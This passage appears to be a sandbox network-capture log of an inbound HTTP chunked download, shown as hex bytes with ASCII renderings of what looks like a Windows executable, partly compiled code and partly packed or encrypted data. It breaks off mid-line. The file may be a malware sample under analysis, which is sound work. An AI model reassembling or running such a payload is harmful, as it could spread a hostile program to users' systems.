2023-05-28 08:43:04 UTC	599	IN	Data Raw: a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 7b 7c 7d 7e 7f 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 Data Ascii: !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{\|}~
2023-05-28 08:43:04 UTC	607	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:04 UTC	607	IN	Data Raw: 31 66 34 30 0d 0a 5f 5e 33 cd 5b e8 b0 09 00 00 c9 c3 6a 0c 68 08 7d 42 00 e8 6b 2a 00 00 33 c0 8b 7d 0c 33 f6 3b fe 0f 95 c0 3b c6 75 1f e8 a6 1b 00 00 c7 00 16 00 00 00 56 56 56 56 56 e8 2e 1b 00 00 83 c4 14 b8 ff ff 00 00 eb 2e 89 7d 0c 57 e8 53 29 00 00 59 89 75 fc 57 ff 75 08 e8 28 fe ff ff 59 59 0f b7 c0 89 45 e4 c7 45 fc fe ff ff ff e8 0a 00 00 00 66 8b 45 e4 e8 4e 2a 00 00 c3 ff 75 0c e8 93 29 00 00 59 c3 8b ff 55 8b ec 51 83 65 fc 00 56 8d 45 fc 50 ff 75 0c ff 75 08 e8 cc 2b 00 00 8b f0 83 c4 0c 85 f6 75 18 39 45 fc 74 13 e8 21 1b 00 00 85 c0 74 0a e8 18 1b 00 00 8b 4d fc 89 08 8b c6 5e c9 c3 8b ff 55 8b ec 6a 0a 6a 00 ff 75 08 e8 e2 2e 00 00 83 c4 0c 5d c3 8b ff 55 8b ec ff 75 0c 6a 0a 6a 00 ff 75 08 e8 f4 2e 00 00 83 c4 10 5d c3 8b ff 55 8b ec Data Ascii: 1f40_^3[jh}Bk3}3;;uVVVVV..}WS)YuWu(YYEEfENu)YUQeVEPuu+u9Et!tM^Ujju.]Uujju.]U
2023-05-28 08:43:04 UTC	615	IN	Data Raw: 00 00 8b 45 e4 e8 cc 0a 00 00 c3 6a 04 e8 1a 35 00 00 59 c3 8b ff 55 8b ec 56 8b 75 08 83 fe e0 0f 87 a1 00 00 00 53 57 8b 3d 00 11 40 00 83 3d fc b0 42 00 00 75 18 e8 11 20 00 00 6a 1e e8 5f 1e 00 00 68 ff 00 00 00 e8 a1 1b 00 00 59 59 a1 e4 d6 66 00 83 f8 01 75 0e 85 f6 74 04 8b c6 eb 03 33 c0 40 50 eb 1c 83 f8 03 75 0b 56 e8 53 ff ff ff 59 85 c0 75 16 85 f6 75 01 46 83 c6 0f 83 e6 f0 56 6a 00 ff 35 fc b0 42 00 ff d7 8b d8 85 db 75 2e 6a 0c 5e 39 05 8c b5 42 00 74 15 ff 75 08 e8 4c 1a 00 00 59 85 c0 74 0f 8b 75 08 e9 7b ff ff ff e8 29 fb ff ff 89 30 e8 22 fb ff ff 89 30 5f 8b c3 5b eb 14 56 e8 25 1a 00 00 59 e8 0e fb ff ff c7 00 0c 00 00 00 33 c0 5e 5d c3 6a 0c 68 b0 7e 42 00 e8 a7 09 00 00 8b 75 08 85 f6 74 75 83 3d e4 d6 66 00 03 75 43 6a 04 e8 05 35 Data Ascii: Ej5YUVuSW=@=Bu j_hYYfut3@PuVSYuuFVj5Bu.j^9BtuLYtu{)0"0_[V%Y3^]jh~Butu=fuCj5
2023-05-28 08:43:04 UTC	622	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:04 UTC	622	IN	Data Raw: 31 66 34 30 0d 0a 68 93 87 40 00 e8 64 08 00 00 83 c4 24 a3 90 95 42 00 5e c3 8b ff 55 8b ec 51 51 53 8b 5d 08 56 57 33 f6 33 ff 89 7d fc 3b 1c fd 98 95 42 00 74 09 47 89 7d fc 83 ff 17 72 ee 83 ff 17 0f 83 77 01 00 00 6a 03 e8 f7 50 00 00 59 83 f8 01 0f 84 34 01 00 00 6a 03 e8 e6 50 00 00 59 85 c0 75 0d 83 3d 40 90 42 00 01 0f 84 1b 01 00 00 81 fb fc 00 00 00 0f 84 41 01 00 00 68 e8 19 40 00 bb 14 03 00 00 53 bf c8 ac 42 00 57 e8 40 e0 ff ff 83 c4 0c 85 c0 74 0d 56 56 56 56 56 e8 23 db ff ff 83 c4 14 68 04 01 00 00 be e1 ac 42 00 56 6a 00 c6 05 e5 ad 42 00 00 ff 15 98 10 40 00 85 c0 75 26 68 d0 19 40 00 68 fb 02 00 00 56 e8 fe df ff ff 83 c4 0c 85 c0 74 0f 33 c0 50 50 50 50 50 e8 df da ff ff 83 c4 14 56 e8 82 c5 ff ff 40 59 83 f8 3c 76 38 56 e8 75 c5 ff Data Ascii: 1f40h@d$B^UQQS]VW33};BtG}rwjPY4jPYu=@BAh@SBW@tVVVVV#hBVjB@u&h@hVt3PPPPPV@Y<v8Vu
2023-05-28 08:43:04 UTC	630	IN	Data Raw: 3b d8 75 7f 8b 1d cc d6 66 00 eb 11 8b 53 04 8b 3b 23 55 f8 23 fe 0b d7 75 0a 83 c3 14 89 5d 08 3b d9 72 e8 3b d9 75 5b eb 0c 83 7b 08 00 75 0a 83 c3 14 89 5d 08 3b d8 72 f0 3b d8 75 31 8b 1d cc d6 66 00 eb 09 83 7b 08 00 75 0a 83 c3 14 89 5d 08 3b d9 72 f0 3b d9 75 15 e8 a0 fa ff ff 8b d8 89 5d 08 85 db 75 07 33 c0 e9 09 02 00 00 53 e8 3a fb ff ff 59 8b 4b 10 89 01 8b 43 10 83 38 ff 74 e5 89 1d d4 d6 66 00 8b 43 10 8b 10 89 55 fc 83 fa ff 74 14 8b 8c 90 c4 00 00 00 8b 7c 90 44 23 4d f8 23 fe 0b cf 75 29 83 65 fc 00 8b 90 c4 00 00 00 8d 48 44 8b 39 23 55 f8 23 fe 0b d7 75 0e ff 45 fc 8b 91 84 00 00 00 83 c1 04 eb e7 8b 55 fc 8b ca 69 c9 04 02 00 00 8d 8c 01 44 01 00 00 89 4d f4 8b 4c 90 44 33 ff 23 ce 75 12 8b 8c 90 c4 00 00 00 23 4d f8 6a 20 5f eb 03 03 Data Ascii: ;ufS;#U#u];r;u[{u];r;u1f{u];r;u]u3S:YKC8tfCUt\|D#M#u)eHD9#U#uEUiDMLD3#u#Mj _
2023-05-28 08:43:04 UTC	638	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:04 UTC	638	IN	Data Raw: 31 66 34 30 0d 0a da f7 d8 83 da 00 8b ca 8b d3 8b d9 8b c8 8b c6 5e c2 10 00 cc cc cc cc cc cc cc cc cc cc cc c6 85 70 ff ff ff fe 0a ed 75 4b d9 c9 d9 f1 eb 0d c6 85 70 ff ff ff fe 32 ed d9 ea de c9 e8 3b 01 00 00 d9 e8 de c1 f6 85 61 ff ff ff 01 74 14 d9 e8 83 3d 30 b4 42 00 01 74 04 de f1 eb 05 e8 9d 3b 00 00 f6 c2 40 75 02 d9 fd 0a ed 74 02 d9 e0 e9 72 d4 ff ff e8 46 01 00 00 0b c0 74 14 32 ed 83 f8 02 74 02 f6 d5 d9 c9 d9 e1 eb 9f e9 68 d4 ff ff e9 fe d4 ff ff dd d8 dd d8 db 2d e0 9d 42 00 c6 85 70 ff ff ff 02 c3 d9 ed d9 c9 d9 e4 9b dd bd 60 ff ff ff 9b f6 85 61 ff ff ff 41 75 d2 d9 f1 c3 c6 85 70 ff ff ff 02 dd d8 db 2d ea 9d 42 00 c3 0a c9 75 53 c3 d9 ec eb 02 d9 ed d9 c9 0a c9 75 ae d9 f1 c3 e9 0e d4 ff ff e8 cf 00 00 00 dd d8 dd d8 0a c9 75 0e Data Ascii: 1f40^puKp2;at=0Bt;@utrFt2th-Bp`aAup-BuSuu
2023-05-28 08:43:04 UTC	646	IN	Data Raw: ff ff c9 c3 8b ff 55 8b ec 8b 45 14 83 f8 65 74 5f 83 f8 45 74 5a 83 f8 66 75 19 ff 75 20 ff 75 18 ff 75 10 ff 75 0c ff 75 08 e8 20 fe ff ff 83 c4 14 5d c3 83 f8 61 74 1e 83 f8 41 74 19 ff 75 20 ff 75 1c ff 75 18 ff 75 10 ff 75 0c ff 75 08 e8 b5 fe ff ff eb 30 ff 75 20 ff 75 1c ff 75 18 ff 75 10 ff 75 0c ff 75 08 e8 77 f9 ff ff eb 17 ff 75 20 ff 75 1c ff 75 18 ff 75 10 ff 75 0c ff 75 08 e8 6e f8 ff ff 83 c4 18 5d c3 8b ff 55 8b ec 6a 00 ff 75 1c ff 75 18 ff 75 14 ff 75 10 ff 75 0c ff 75 08 e8 5a ff ff ff 83 c4 1c 5d c3 8b ff 56 68 00 00 03 00 68 00 00 01 00 33 f6 56 e8 48 27 00 00 83 c4 0c 85 c0 74 0d 56 56 56 56 56 e8 7c 7c ff ff 83 c4 14 5e c3 8b ff 55 8b ec 83 ec 18 dd 05 a0 23 40 00 dd 5d f0 dd 05 98 23 40 00 dd 5d e8 dd 45 e8 dc 75 f0 dc 4d f0 dc 6d Data Ascii: UEet_EtZfuu uuuu ]atAtu uuuuu0u uuuuuwu uuuuun]UjuuuuuuZ]Vhh3VH'tVVVVV\|\|^U#@]#@]EuMm
2023-05-28 08:43:04 UTC	653	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:04 UTC	653	IN	Data Raw: 31 66 34 30 0d 0a 83 ca 01 dc 0d f4 a0 42 00 db 7c 24 18 dc 0d f4 a0 42 00 db 3c 24 eb 20 d9 7c 24 24 8b 44 24 24 0d 00 03 00 00 89 44 24 28 d9 6c 24 28 dd d8 dc 0d f4 a0 42 00 db 3c 24 d9 6c 24 24 e8 54 fd ff ff 83 c4 30 5a c3 d9 f8 83 c4 30 5a c3 50 53 51 8b 44 24 16 35 00 07 00 00 a9 00 07 00 00 0f 85 83 01 00 00 c1 e8 0b 83 e0 0f 80 b8 dc a0 42 00 00 0f 84 70 01 00 00 8b 44 24 16 25 00 00 ff 7f 3d 00 00 ff 7f 0f 84 5c 01 00 00 8b 44 24 2e 25 00 00 ff 7f 0f 84 4d 01 00 00 3d 00 00 ff 7f 0f 84 42 01 00 00 8b 44 24 2c 03 c0 0f 85 36 01 00 00 8b 44 24 14 03 c0 0f 85 2a 01 00 00 8b 44 24 18 25 ff 7f 00 00 83 c0 3f 8b 5c 24 30 81 e3 ff 7f 00 00 2b d8 77 5e 8b 44 24 18 25 ff 7f 00 00 83 c0 0a 8b 5c 24 30 81 e3 ff 7f 00 00 2b d8 0f 88 f2 00 00 00 db 6c 24 28 Data Ascii: 1f40B\|$B<$ \|$$D$$D$(l$(B<$l$$T0Z0ZPSQD$5BpD$%=\D$.%M=BD$,6D$*D$%?\$0+w^D$%\$0+l$(
2023-05-28 08:43:04 UTC	661	IN	Data Raw: 1f 41 00 99 1f 41 00 de 1f 41 00 16 20 41 00 2a 20 41 00 85 20 41 00 70 20 41 00 ef 20 41 00 e4 20 41 00 93 20 41 00 8b ff 55 8b ec 83 ec 74 a1 80 92 42 00 33 c5 89 45 fc 53 8b 5d 1c 56 57 8d 75 08 8d 7d f0 a5 a5 66 a5 8b 55 f8 8b ca b8 00 80 00 00 23 c8 81 e2 ff 7f 00 00 89 5d a0 c6 45 d0 cc c6 45 d1 cc c6 45 d2 cc c6 45 d3 cc c6 45 d4 cc c6 45 d5 cc c6 45 d6 cc c6 45 d7 cc c6 45 d8 cc c6 45 d9 cc c6 45 da fb c6 45 db 3f c7 45 8c 01 00 00 00 89 4d 90 66 85 c9 74 06 c6 43 02 2d eb 04 c6 43 02 20 8b 75 f4 8b 7d f0 66 85 d2 75 2f 85 f6 75 2b 85 ff 75 27 33 d2 66 3b c8 0f 95 c0 fe c8 24 0d 04 20 66 89 13 88 43 02 c6 43 03 01 c6 43 04 30 88 53 05 33 c0 40 e9 1e 08 00 00 b8 ff 7f 00 00 66 3b d0 0f 85 9f 00 00 00 33 c0 40 66 89 03 b8 00 00 00 80 3b f0 75 04 85 Data Ascii: AAA A* A Ap A A A AUtB3ES]VWu}fU#]EEEEEEEEEEEE?EMftC-C u}fu/u+u'3f;$ fCCC0S3@f;3@f;u
2023-05-28 08:43:04 UTC	669	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:04 UTC	669	IN	Data Raw: 31 66 34 30 0d 0a 53 db 71 dd e0 e2 5c 36 ec 32 38 c0 b0 62 66 4b 1e f2 59 77 d6 90 23 24 49 e3 c6 da 3c b0 df cb f6 fc e1 54 39 5c f8 84 39 66 18 a3 0d 7e 3d 81 2b 7e 1b cc 22 c0 5a 52 d5 1c 77 ee 6b 5c 54 00 be ac 92 f6 e3 ee b6 70 1a 77 6b 12 54 85 a3 10 ea 73 63 5f f7 98 98 36 dc b5 2d 37 a0 51 54 38 79 4d 48 70 a1 c7 19 a5 cd 2a ba 66 af c7 e6 e0 66 77 42 6a 37 99 e0 04 be 3d c7 98 93 5f f9 a3 75 14 44 bd bc 89 f8 c2 4b ec 0e fd c3 b3 c0 08 25 9f 55 2d 2b 9a 89 90 37 48 e3 d4 5d e8 7c e9 5a 06 bb 61 8d 15 36 79 aa 86 1b 4d 98 56 66 35 ee d5 e2 41 9c 7a b3 a6 21 99 6f 6c aa de 5c fa 0b e6 ae 4a 7b 33 9e 4f 46 99 30 9a 66 55 cd 29 2a 35 61 e5 3d 16 ae 30 32 8b 86 a4 dc af f9 e2 49 eb 8f fe 25 49 22 a2 07 b0 fe 7a 14 5b 7b 99 a0 bd c0 94 67 db 0b 4b f0 Data Ascii: 1f40Sq\628bfKYw#$I<T9\9f~=+~"ZRwk\TpwkTsc_6-7QT8yMHpffwBj7=_uDK%U-+7H]\|Za6yMVf5Az!ol\J{3OF0fU)5a=02I%I"z[{gK
2023-05-28 08:43:04 UTC	677	IN	Data Raw: 6f fb c3 d6 89 39 83 05 65 e9 3c ad c8 e9 ff 82 8b 87 4c c6 8d 23 e4 d4 30 c2 75 e7 10 71 55 39 eb eb ea fc f9 ca 9b 7e 0e a3 3b 6f f8 68 c5 8b 78 23 83 3d 1b 23 d6 2f 8a 7a fd 17 3b 50 e3 d5 a2 1a fb 95 86 8d d8 68 2b a0 c5 80 84 e3 b1 1d ab bf b4 8a 48 5f e3 47 d7 e3 71 28 ad ae ba ea 23 55 11 3e 2e 4c 80 17 58 88 b3 0c f6 72 f2 9c 12 c8 85 1c e4 11 03 da 1a d0 9c f8 e0 65 2a 9e b0 7d 90 4b 46 93 86 d1 35 b9 7a 51 6f c6 a6 ef 13 c8 b2 fd 43 eb 9e 3a 69 08 20 2c d3 6c 85 7f d7 44 74 eb 1d fe 09 7d c6 19 d8 12 bf 1e e8 f6 f8 79 17 d0 c8 80 dc 0f 8b b5 81 9b 16 49 6f 72 24 b6 77 7a 16 e6 5b fc c7 20 3e c9 bb 57 50 41 cb 84 6d 1f 2d 14 d9 3f cc 4c 6b ea 53 83 52 5a cf de 86 9c 1a cb 31 45 14 90 5b fa 5a be 6a dc be de f6 95 d6 98 73 0e 5f 1f a5 03 33 77 78 Data Ascii: o9e<L#0uqU9~;ohx#=#/z;Ph+H_Gq(#U>.LXre*}KF5zQoC:i ,lDt}yIor$wz[ >WPAm-?LkSRZ1E[Zjs_3wx
2023-05-28 08:43:04 UTC	685	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:04 UTC	685	IN	Data Raw: 31 66 34 30 0d 0a 98 46 3c 39 3b d9 78 a3 e6 f8 07 4b 0c b1 51 5b 81 a8 e1 3e 03 d3 e5 2c d4 cb a7 97 b5 69 e6 e5 54 97 e5 fa cc c4 91 ab 45 b3 6c f9 67 fa c2 72 24 bc 52 ea 4a 9b 50 16 68 06 a6 f3 06 e8 1f 9d 71 73 d4 8e a6 dc ec 2b c6 f8 36 d6 c8 96 61 37 57 e9 5b f8 b4 a6 c2 cd 16 d3 3b 0a 33 c5 ce d7 ab ed 8b d0 3e 8f a8 3a 87 a7 84 05 52 05 e4 71 5a d0 c5 61 82 02 86 20 a1 fd b6 60 55 e3 ca c5 50 f8 5d ef 9b 62 11 ce 1c 55 18 24 78 7f 0f 6d 5d af 13 ff dc cf e9 2f a4 08 0a 14 df 4d 61 f4 fd 47 59 c2 86 1c 1c df d1 05 ee 41 3e f7 f4 f7 b7 a2 b3 3b da 85 15 2c ca 92 95 6a e2 75 95 5a 81 1a 51 4e 3e ab a8 46 17 b7 24 52 bd 88 58 0b 77 e9 71 a5 49 b7 4e e6 8d 13 9f 5c f2 e0 ac f7 b6 c0 a1 06 9e cc 1e af 31 21 59 85 b7 2d 29 a8 c6 f1 b1 84 1d 8d 63 03 74 Data Ascii: 1f40F<9;xKQ[>,iTElgr$RJPhqs+6a7W[;3>:RqZa `UP]bU$xm]/MaGYA>;,juZQN>F$RXwqIN\1!Y-)ct
2023-05-28 08:43:04 UTC	693	IN	Data Raw: 84 98 79 df cd 1c dd b3 ee 44 97 68 83 ac 19 d3 8e 5c 86 c7 f0 88 24 3c 88 a1 e8 b4 b9 ba fa 53 6f 2b 68 3f 7e fd 7d 33 8a 90 62 69 33 de 6d 07 ae 87 b3 2e 3d 12 31 6b 47 02 db 56 cc 0f 7c be c7 d7 b0 f7 84 c5 78 aa 23 5d c6 13 de 3e e2 c5 64 98 f3 f0 4a 26 9e 34 93 4d e0 c2 2d 31 9e 5e d5 cf 1d a9 90 05 29 35 5b d2 68 16 1c bc c1 e2 cb 79 e6 b0 48 db 7f 5c 90 25 6a 9a eb a1 61 14 12 53 e4 86 79 cd d0 39 70 ce 3a 63 f7 c3 c6 dd 51 62 09 8f a9 36 84 ae 60 fb 19 d5 d5 87 6e 3d fc e6 67 bd 6f ce c4 c7 63 b1 13 5b 89 ba 63 82 31 1a 4b b2 9f ec 67 7f 97 04 82 ed 80 57 4b 86 f1 90 f0 1b f0 ed 69 ae f1 ed 1c 67 a0 ef 65 82 bb 5b 63 d3 4c ab 4c 20 49 cd 1e 7f 3b 84 bd 1d 8e 9b a7 4e 5c 41 77 73 f0 96 72 04 7e 57 9b cd 08 17 d4 62 8b fd 7d 34 96 6f b1 9d d0 a0 67 Data Ascii: yDh\$<So+h?~}3bi3m.=1kGV\|x#]>dJ&4M-1^)5[hyH\%jaSy9p:cQb6`n=goc[c1KgWKige[cLL I;N\Awsr~Wb}4og
2023-05-28 08:43:04 UTC	700	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:04 UTC	700	IN	Data Raw: 31 66 34 30 0d 0a 6e 57 50 dd 99 12 18 94 f3 01 79 1e 8b 96 ce 7d 43 4c ec 5d 66 f1 c9 e6 83 d0 fa 75 21 1e d8 94 6e b6 6f 22 1c 38 fd 33 0c 69 a4 cd 80 a9 42 58 f1 45 4e cb 92 d9 96 bc 01 d2 1a 8f 5c f4 2e e8 c9 7d 45 88 11 98 45 8d 68 c9 f8 bc ae fe a4 ac 19 b3 0a 62 e1 be bc 50 a6 eb 14 5b a9 98 2d 23 77 8e b0 77 74 bd 59 86 17 6d 5c 45 e5 57 60 14 e1 8e 7f 13 4a f5 6b c0 d5 b3 dd e2 fc d2 84 d5 39 e5 22 e5 65 7f 87 4a 3e 08 c5 e9 23 2a 48 9d 07 b5 9c e6 98 20 5a 42 bd 48 63 98 91 e2 17 17 03 15 7e 31 1d 5f 08 ab 49 f2 f1 df 20 5b 8b 6f 8e 09 36 93 4c 21 eb 7a d4 e2 2e b4 28 69 58 26 47 52 95 98 5f 59 9f 37 db 22 bb 47 07 e4 cd 27 61 57 b4 bd c0 56 b4 60 14 46 47 bf 38 56 f1 74 5e af be bc f5 32 cb 66 6a 76 35 b4 de c9 d0 4d a5 f4 1a 90 f6 9d 0f 3c a3 Data Ascii: 1f40nWPy}CL]fu!no"83iBXEN\.}EEhbP[-#wwtYm\EW`Jk9"eJ>#*H ZBHc~1_I [o6L!z.(iX&GR_Y7"G'aWV`FG8Vt^2fjv5M<
2023-05-28 08:43:04 UTC	708	IN	Data Raw: 36 24 fa 8c d4 73 f8 a2 94 1f f1 ce 38 94 2b 20 72 66 98 23 a1 9b 3c 32 8e 0e cf 34 09 00 45 a4 d0 cd c7 c9 df 60 1e 74 c3 ba 23 a4 37 35 7d 5b 1a d0 09 ce 28 18 17 65 a6 04 97 91 d1 13 cd 98 60 74 3b 63 7b 20 e2 dd 1b 6b d1 1d cf c1 1b 80 39 f5 55 5f 93 99 5f 05 28 dd 32 77 45 9a e9 be e2 70 cc 5f ea f8 2b 0c 05 ac 93 17 36 fb 96 df 73 33 03 0c 89 0a 9f 25 d5 02 cf 23 3e 35 52 a8 65 2c bf 1d fc 17 54 b6 30 22 34 31 92 94 5b dc c7 40 20 f2 5c 9d ad 33 60 dd 23 d2 ce 99 dd 17 fc 56 28 e3 ad f6 68 10 3e 60 2c ab 6a 63 cd f2 66 fa 69 7d e7 5b 94 f2 7f 74 7d 5b a7 71 cd 50 c4 ee 13 80 d3 9f 9c ad 04 02 3b 30 61 dc 20 fb 9c ce 23 1b d5 f6 f3 ee b7 6b 23 f2 1b 24 64 0c 7d f8 66 0a 46 33 59 26 db 7c 55 86 98 7a 4d ba e8 b3 20 65 b3 31 98 4e b4 15 5b a4 dd 45 74 Data Ascii: 6$s8+ rf#<24E`t#75}[(e`t;c{ k9U__(2wEp_+6s3%#>5Re,T0"41[@ \3`#V(h>`,jcfi}[t}[qP;0a #k#$d}fF3Y&\|UzM e1N[Et
2023-05-28 08:43:04 UTC	716	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:04 UTC	716	IN	Data Raw: 31 66 34 30 0d 0a 75 a4 6d 8c f5 df f7 0e a4 89 8d 28 91 93 36 b3 27 e8 10 56 de 76 7c ed b7 70 5d 58 b1 33 ba c2 02 38 ea 00 35 9a f9 ed 87 d5 3d 7b 7b 9d c1 07 f5 d6 37 62 f4 e6 42 34 67 90 8d f0 a6 b5 da 7f e4 1d 3e 7b 5d 4a d7 50 cf 20 8f d5 04 97 93 50 b4 1d 2c 0e 97 c6 2a f6 b0 ed 5a 1e cd a5 e1 e7 42 89 ad d0 86 78 b2 41 5a b3 a0 54 51 20 d9 91 7f fd be 6a 15 94 43 a3 32 ad 61 cc d1 7d d9 25 32 71 e2 43 fa 41 5e 60 93 7b 64 96 d7 94 1e c6 50 7e 7d 3f d3 0e c6 8f f7 37 47 f9 2b 03 f3 7c 50 e2 ea 65 63 2a 27 94 b7 0f e8 94 92 5e c2 48 12 30 a5 4f d2 49 98 4c 6d 25 13 1b f4 3e 2b fa 8d b2 73 34 17 00 11 e1 c9 ca f5 7a 03 4b ba 32 43 e9 48 7a 2a 60 f5 ff 6a 24 b0 0f 61 31 8e 51 f3 1e 8e ef b1 7b b8 3b a0 f2 d8 66 70 a2 52 99 0f f9 70 6b 9a 62 7b d0 33 Data Ascii: 1f40um(6'Vv\|p]X385={{7bB4g>{]JP P,ZBxAZTQ jC2a}%2qCA^`{dP~}?7G+\|Pec'^H0OILm%>+s4zK2CHz*`j$a1Q{;fpRpkb{3
2023-05-28 08:43:04 UTC	724	IN	Data Raw: c5 74 8a 1a df 61 50 8a 0b f5 de 6b d7 6b 3f 57 d9 83 04 1c 45 67 b3 a3 4f 58 30 c5 36 25 a8 89 4f e2 cc d1 e5 ae b9 da 20 b8 e1 21 8c 9f 26 fe 2c 8d c1 44 b8 c0 3e 4e a4 e3 6f 18 9a df 54 54 be d4 c0 d2 b7 be 78 41 a4 c5 8f dd c3 c4 c5 58 e4 d4 ae ba 37 16 3c 30 5e 31 5f c4 f0 29 ef 57 55 91 65 fe 3a 87 b1 2f 10 37 b5 56 f6 fe db 04 f1 cb d8 65 4f 5a a5 dd 1e 74 f3 e5 7e d9 07 b8 25 c0 8a 9e b7 b1 8c f3 1f ec a7 f2 b3 ea f3 7b 94 18 b3 4b 3f 7f ce 39 b6 f3 85 4d 26 33 9d e5 da 53 08 c0 68 20 78 dd bf 43 91 e6 de 51 1f a3 cc 23 3c 1c 80 7d 2d e9 03 fd 66 18 4e 1a d9 51 17 97 6b 3f df 8d f3 a2 e5 ca 2a cd aa 8c a0 f7 c1 6e 32 75 08 7d c2 0a 1b c7 39 01 32 1b 12 cb 79 09 63 80 58 98 81 82 ed c3 d6 da 31 fa c3 27 91 a7 9f 2b d4 ae cd 8c ba b1 ed 84 c8 03 51 Data Ascii: taPkk?WEgOX06%O !&,D>NoTTxAX7<0^1_)WUe:/7VeOZt~%{K?9M&3Sh xCQ#<}-fNQk?*n2u}92ycX1'+Q
2023-05-28 08:43:04 UTC	732	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:04 UTC	732	IN	Data Raw: 31 66 34 30 0d 0a 57 62 68 bc 67 1a ad a0 f7 b6 48 4b cd 24 c8 f6 4f e6 e3 b4 a8 8b d5 99 f2 b7 a5 85 6d 83 57 87 2c d9 ea af 14 4a ad dc d5 b1 f7 26 85 5d 6c 07 1c d7 72 29 9c e3 5d 95 d2 aa c9 02 6a e1 b6 fc 2f 01 8d aa ec b2 5a a8 d2 86 44 d2 c2 df f3 92 7a 5c 1c ab fc 88 c6 65 a6 46 fe 5e aa 29 8d ce 65 eb 75 8e a2 a3 0c 56 0f 8a 17 41 1a e4 1f c2 4a 55 af 1b 11 a0 a0 82 f0 cc 2f 9b 5a 73 fb 59 77 e5 eb 70 2c 90 e3 ca d8 90 49 2b db af 29 4f 3e 7f c4 38 ae 66 38 7b b8 d0 26 0c 4f 34 ee a8 ef 27 0d e9 92 43 18 24 95 5d c9 ad 42 cc 5a ad 04 4c 8b 8c 08 a9 64 f0 10 85 42 78 d1 08 8c 11 7e 96 67 dd 6c da ca ae e5 7d c2 a8 e6 bf 30 36 1d ed 07 ae a2 8a 21 a8 04 86 b4 54 c8 43 94 a0 07 eb 7d b7 b5 ec 6b 88 55 21 57 ce 53 59 75 1b 16 88 21 2a 35 88 00 97 73 Data Ascii: 1f40WbhgHK$OmW,J&]lr)]j/ZDz\eF^)euVAJU/ZsYwp,I+)O>8f8{&O4'C$]BZLdBx~gl}06!TC}kU!WSYu!*5s
2023-05-28 08:43:04 UTC	740	IN	Data Raw: c1 ac 89 66 08 24 43 02 24 cc 4c 33 bc a8 d8 ea c9 fc ad fd 23 e3 9b b8 b5 b4 d8 e6 8d b2 39 5c 9b 97 e1 89 81 96 81 10 45 17 dd cc 4b 82 4b f1 6e 1f 4f 92 53 dd 58 63 23 ab 2e 4f 92 1b c9 c0 be c2 f5 d9 f1 06 a4 3a d1 c3 48 0d 71 1c 5d d1 6a 10 c6 b8 7c ae 91 dc 5b 2a 00 1e 4b b7 d3 8b e5 47 13 e6 31 65 ff cc ee 26 6c 85 7c 0f f3 9e 1e 05 a4 9d 05 e4 86 c6 71 95 e2 59 67 c9 a9 7c ce fe 5d ab 58 cf 18 e9 a4 4f 01 e7 54 1c 6b 68 81 a7 eb 12 88 fa 02 b6 a5 45 9d 6e e5 1b 75 25 60 7c ae 7b dc ec 84 65 f3 ef 05 7c e5 f9 3e e8 8a bb f6 98 fc e9 66 91 66 de d5 a0 a6 4a fe 03 20 90 99 00 ef 7e a2 df 97 de 34 ea dc bf ba ec 44 6c 9f a5 5d 32 65 5e 58 43 8d 95 3c 79 98 25 ae 9a f9 2a 3a 38 79 a0 e7 4f 4d f1 7d 3c 9a 8b d3 d0 01 26 59 28 67 3b 22 2f 2f ee 62 35 ef Data Ascii: f$C$L3#9\EKKnOSXc#.O:Hq]j\|[KG1e&l\|qYg\|]XOTkhEnu%`\|{e\|>ffJ ~4Dl]2e^XC<y%:8yOM}<&Y(g;"//b5
2023-05-28 08:43:04 UTC	747	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:04 UTC	747	IN	Data Raw: 31 66 34 30 0d 0a e0 78 44 28 ca c8 4d 06 4d 94 e5 67 13 b0 9c 8c 68 d5 3f 1a b1 4c 22 ae 46 fd 55 03 34 da a5 56 b9 15 42 da 93 c5 93 f0 71 49 00 6c e8 6d 9b 61 5e fe be 30 62 05 10 77 33 2b db 4f f7 0e 59 a5 cb 56 6d 25 46 fa 44 27 fc 5f 5d e0 84 41 90 30 6b 87 ff cb 2f 38 12 ab 7c 6e 81 e2 d1 84 c5 0a 39 aa 0b 20 c3 a6 a3 96 a5 5a 32 fe 19 7a 1d 91 24 2e d9 30 94 51 5a 6f cc 91 1e 20 8c 1d 32 c2 24 3e 84 74 c4 3b 42 64 7f bc ce 73 8f 3a 74 8b 54 24 08 8d 42 0c 8b 4a ec 33 c8 e8 9a d6 fd ff b8 c8 7d 42 00 e9 37 d3 fd ff cc cc cc cc cc 8b 45 04 e9 a8 c9 fd ff b8 c0 82 42 00 e9 20 d3 fd ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8d 8d a4 fb ff ff e9 e5 c8 fd ff 8d 85 8c fb ff ff e9 7a c9 